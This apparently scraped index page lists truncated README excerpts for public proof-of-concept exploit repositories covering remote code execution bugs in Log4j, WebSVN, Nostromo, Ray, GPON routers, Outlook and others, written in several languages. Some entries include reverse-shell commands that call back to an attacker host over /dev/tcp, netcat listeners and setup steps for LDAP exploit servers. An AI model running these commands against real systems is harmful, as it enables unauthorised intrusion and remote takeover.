CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 步骤 1. 编译 Log4jRCE.java 并将 .class 文件移动到 Web 服务器（例如：本地 PHP） 1. cd src/main/java 2. javac Log4jRCE.java 3. 将 .class 文件移动到 Web 服务器或本地启动一个 PHP，例如：php -S 127.0.0.1:8888 2. 启动 LDAP 服务器 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd marshalsec 3...

CVE-2024-32002-git-rce

CVE-2024-32002-git-rce...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 — React2Shell Vulnerability Analysis Overview This project presents a technical analysis of CVE-2025-55182 React2Shell , a critical remote code execution vulnerability affecting React Server Components. The objective of this research was to understand the vulnerability, analyze its...

CVE-2022-30190_EXP_PowerPoint

CVE-2022-30190EXPPowerPoint This is exploit of CVE-2022-30190 on PowerPoint. Modify the suffix of the file to 'zip' and unzip the file, you can edit \ppt\slides\rels\slide1.xml.rels and replace to your vps ip:port like this, then compress them as the same way and change the suffix to 'ppsx'. The...

CVE-2021-21110

CVE-2021-21110 CVE-2021-21110 : Exploit de ejecución remota de código por inyección de plantillas en el lado del servidor de Tiki Wiki CMS GroupWare...

OHTS

OHTS CVE-2017-8759 | .NET Framework 远程代码执行漏洞 1. 简介 当 Microsoft .NET Framework 处理不受信任的输入时，存在一个远程代码执行漏洞。成功利用此漏洞的攻击者可以控制受影响的系统。攻击者随后可以安装程序；查看、更改或删除数据；或创建具有完全用户权限的新帐户。与拥有管理权限的用户相比，系统上配置为拥有较少用户权限的用户所受影响可能较小。 要利用此漏洞，攻击者首先需要说服用户打开恶意文档或应用程序。该安全更新通过修正 .NET 验证不受信任输入的方式来解决此漏洞。Microsoft .NET Framework...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

EvilSunCheck

EvilSun 漏洞检查器 CVE-2020-14871 这是一个用于在 Solaris 系统上检测 “EvilSun” 漏洞 CVE-2020-14871 的小型 Python 脚本。该漏洞是当 SSH 处理键盘交互式认证时，可插拔认证模块 PAM pamunixauth 中的缓冲区溢出。成功利用该漏洞可能导致远程代码执行或拒绝服务。 环境要求 Python 3.x paramiko 库 安装 root@kitploit: pip3 install -r requirements.txt 解读输出 Solaris 9 和 10 当 /etc/ssh/sshdconfig 已配置...

CVE-2020-11108-PoC

CVE-2020-11108-PoC 本仓库包含两个PoC。cve-2020-11108-rce.py 会以www-data用户身份为你提供一个shell。root-cve-2020-11108-rce.py 会为你提供一个shell并提升权限至root。注意：此操作具有破坏性，因为我们必须覆盖teleporter.php。 如需完整的解释/分析，请参阅此篇博客文章。...

CVE-2019-18370_XiaoMi_Mi_WIFI_RCE_analysis

Este repositorio no tiene un README...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 这是 CVE-2021-3205 的一个漏洞利用程序，该漏洞是 search.php 路径中的命令注入 Web 漏洞，此利用程序允许执行命令。 依赖 optparse, signal, requests 用法 root@kitploit: ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ nc -nlvp 443 listening on...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 这是针对 Nostromo 1.9.6 RCE 漏洞（CVE-2019-16278）的一个利用程序。该利用程序可在目标机器上实现远程代码执行。 需求 optparse socat sys 用法 你可以按如下方式使用该利用程序： root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i & /dev/tcp/10.10.16.42/443 0&1'" b'HTTP/1.1 200...

CVE-2021-31630

OpenPLC WebServer v3 - RCE Autenticado CVE-2021-31630 Este exploit está basado en el exploit de Exploit-DB hecho por Fellipe Oliveira. Primero, autenticarse Subir un archivo C malicioso Compilarlo Iniciar el PLC iniciar reverse shell Detener el PLC no es necesario ejecutarlo, la reverse shell ya ...

MOODLE-3.X-Remote-Code-Execution

MOODLE-3.X-远程代码执行 CVE-2018-1133 Moodle 已认证为教师身份下的远程代码执行漏洞。...

Log4j-_Vulnerability

Web 存在 CVE-2021-44228 漏洞 此 Web 应用程序容易受到 CVE-2021-44228 的攻击，这是 Apache Log4j 2 中的一个关键安全漏洞，称为 Log4Shell。该漏洞允许未经身份验证的攻击者通过发送被日志系统记录的特定输入，远程执行恶意代码，从而导致对服务器的完全控制。...

CVE-2023-6019

Inyección de comandos en Ray OS RCE no autorizado Uso: 1. nc -lvnp 4444 2. python3 cve-2023-6019.py -t 192.168.1.13 -p 80 -L 192.168.1.14 -P 80...

CVE-2022-21661

🛡️ CVE-2022-21661 一个基于 Python 的 概念验证（PoC） 漏洞利用程序，针对 CVE-2022-21661，这是 WordPress 中的一个严重漏洞 ，允许未经授权的攻击者执行对象注入攻击 ，在某些情况下可能导致远程代码执行（RCE） 。 本实现灵感来自 z92g 的基于 Go 的 PoC，旨在提供一个更易于访问、对脚本用户友好的版本，特别适合安全研究人员和 CTF 从业者。 ⚠️ 此工具仅供教育和合法测试之用。未经授权使用不属于您的系统属于违法行为。 📦 安装 克隆此仓库并使用以下命令安装所需依赖： root@kitploit: pip3 install -r...

https-github.com-xaitax-CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 该脚本提供了 CVE-2024-21413 的概念验证（PoC），这是 Microsoft Outlook 中发现的一个严重安全漏洞，CVSS 评分为 9.8。该漏洞被称为 MonikerLink 漏洞，影响深远，包括潜在的本地 NTLM 信息泄露和远程代码执行的可能性。此外，它突显了一种可能绕过 Office 受保护视图的攻击向量，从而将威胁扩展到其他 Office 应用程序。 🚀 用法 请负责任地使用此工具，并确保您已获得目标系统所有者的授权。该脚本需要 SMTP...

CVE-2018-4121

CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 详情 此概念验证漏洞利用程序仅针对 macOS 10.13.3 17D47 上的 Safari 11.0.3 13604.5.6 版本。 将你选择的有效载荷编译为带有构造函数的动态库 dylib 运行 python filetojsarray.py your.dylib payload.js 提供此目录服务，并将 Safari 指向 /exploit.html 该漏洞利用并非完全可靠，并且为此 macOS/Safari 版本使用了硬编码偏移量。...

GPON

GPON家庭路由器上的RCE漏洞 CVE-2018-10561 漏洞描述 如今许多路由器使用GPON互联网，VPNMentor发现了一种绕过设备所有身份验证的方法（CVE-2018-10561 ）。利用此身份验证绕过，还可以揭示另一个命令注入漏洞（CVE-2018-10562 ）并在设备上执行命令。 根据Shodan的数据，撰写本文时，近一百万个此类设备暴露在互联网上。 所需依赖 requests urllib2 测试环境 Kali Linux Ubuntu 17.10 Server 使用方法 root@kitploit: python gponrce.py TARGETURL...